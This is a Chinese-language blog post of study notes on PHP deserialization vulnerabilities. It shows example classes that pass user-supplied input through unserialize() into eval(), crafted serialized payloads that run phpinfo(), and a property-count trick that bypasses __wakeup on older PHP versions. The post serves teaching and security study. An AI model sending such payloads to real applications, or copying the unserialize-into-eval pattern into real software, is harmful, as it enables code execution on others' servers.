前言

最近看文章看到了php反序列化漏洞,感觉内容有点多,凭脑子一时记不下来,留点文字辅助记忆

魔法方法造成的php反序列化漏洞

先来几个魔法方法

  • __construct():当一个类被创建时自动调用
  • __destruct():当一个类被销毁时自动调用
  • __sleep():当调用serialize()函数时自动调用
  • __wakeup():当调用unserialize()函数时自动调用
  • __toString():当类被当成字符串时自动调用

当我们反序列化一个对象时,unserialize()会检测是否存在__wakeup()。如果存在,会优先进行调用

如:

<?php
class A{
    public $a = 'hello world';

    function __wakeup()
    {
        echo "hello world!!!";
    }
}
$aaa = new A();
$sss = serialize($aaa);
$ddd = unserialize($sss);
?>

执行结果:

php反序列化-1

可见,加入说__wakeup()里存在某些危险函数,我们便可以加以利用

如:

<?php
class A{
    var $a = 'echo "hello world";';

    function __wakeup()
    {
        eval($this->a);
    }
}
$ddd = unserialize($_GET['str']);
?>

在这个例子中,对GET进来的str变量进行反序列化。此时,魔法方法中存在eval()危险函数,我们可以控制传入的序列化字符串,进行触发,如:

O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}

执行结果:

php反序列化-2

由此可见,只要发现魔法方法里面存在某些危险函数,我们可以通过精心构造,达到利用。

魔法方法绕过

绕过前提:

  • PHP5< 5.6.25
  • PHP7< 7.0.10

先来点序列化字符串基础

O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}

花括号前:

  • O:表示结构类型为类
  • 1:表示类长度为1
  • A:表示类名为A
  • 1:表示成员个数为1

花括号内:

  • s:属性名类型为str
  • 1:长度为1
  • a:名称为a
  • 10:长度为10
  • phpinfo();:内容为phpinfo();

绕过本质:

当序列化字符串表示对象属性大于真实的属性个数时会跳过__wakeup()方法

那么,在下面的代码中,我们便可以进行利用:

<?php
class A{
    var $a = 'echo "hello world";';

    function __wakeup()
    {
        $this->a = 'echo "hello world";';
    }
    function __destruct()
    {
        eval($this->a);
    }
}
$ddd = unserialize($_GET['str']);
?>

代码中反序列化的时候,调用__wakeup()方法对$a进行重新复制,使得我们无法利用eval()。但我们构造如下payload:

O:1:"A":2:{s:1:"a";s:10:"phpinfo();";}

对__wakeup()进行绕过,触发成功:

php反序列化-3

某些比较好的链接

http://liehu.tass.com.cn/archives/1159


Web安全      php

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

py脚本 - myinotify 上一篇
代码审计 - wodecms 下一篇